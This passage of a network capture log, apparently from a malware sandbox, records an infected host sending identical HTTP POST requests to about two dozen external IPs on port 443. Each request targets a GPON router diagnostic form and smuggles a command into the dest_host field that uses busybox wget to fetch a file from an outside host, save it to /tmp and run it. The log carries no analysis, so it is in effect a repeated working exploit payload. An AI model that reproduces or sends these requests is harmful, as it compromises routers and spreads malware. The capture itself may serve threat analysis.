501	192.168.2.23	48038	42.213.75.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175544024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	38032	42.150.43.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175575018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	48140	118.218.51.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175602913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	49704	94.160.57.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175652981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	36988	212.25.112.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175687075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	52980	123.10.26.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175714016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	50092	212.18.114.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175753117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	59286	117.223.42.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175823927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	42166	94.55.173.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175832033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	60872	178.136.159.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175867081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	43396	94.17.136.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175911903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	55618	210.117.211.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175945997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	39534	118.100.181.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175977945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	55476	118.178.7.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176007986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	44342	117.46.1.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176054001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	53862	109.49.75.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176090002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	36258	118.210.91.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176110029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	37044	123.187.129.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176147938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	47158	148.25.5.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176172972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	39312	5.61.4.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176229954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	58300	42.211.153.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176265001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	57130	202.8.46.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176315069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	36838	79.205.235.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176325083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	56628	118.97.42.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176354885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	45244	123.158.178.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176404953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	44172	118.165.183.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176445961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 